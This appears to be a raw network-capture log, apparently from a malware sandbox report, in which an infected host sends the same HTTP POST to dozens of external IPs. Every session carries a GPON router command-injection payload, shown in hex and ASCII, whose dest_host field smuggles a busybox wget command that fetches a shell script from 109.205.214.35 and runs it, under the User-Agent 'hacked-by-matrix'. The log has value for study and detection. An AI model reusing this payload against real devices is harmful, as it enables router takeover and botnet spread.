Mar 21, 2024 05:25:26.004560947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.23	50402	37.207.232.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004570961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.23	43406	5.100.179.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004571915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.23	55234	118.240.48.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004570007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.23	52164	109.25.69.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004570007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.23	35482	2.148.44.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004605055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.23	46788	178.235.212.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004646063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.23	40084	42.193.228.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004667997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.23	60298	118.2.207.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004689932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.23	46050	178.72.119.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004694939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.23	59496	178.117.180.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004724026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.23	44080	118.251.173.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004795074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.23	44896	212.27.177.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.032932997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.23	57706	94.178.26.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.032938957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.23	38884	37.126.92.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.032964945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.23	51340	109.39.199.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.032969952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.23	49812	118.109.120.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.032985926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.23	47572	2.145.230.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.032994986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.23	57012	94.148.122.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.033011913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.23	38302	212.0.77.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.033016920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.23	53348	212.243.14.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.033035040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.23	58600	37.144.204.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.033041954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.23	47668	94.152.134.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.033093929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.23	57034	5.84.250.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:27.033097029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.23	41348	79.61.142.13	443

Timestamp	Bytes transferred	Direction	Data
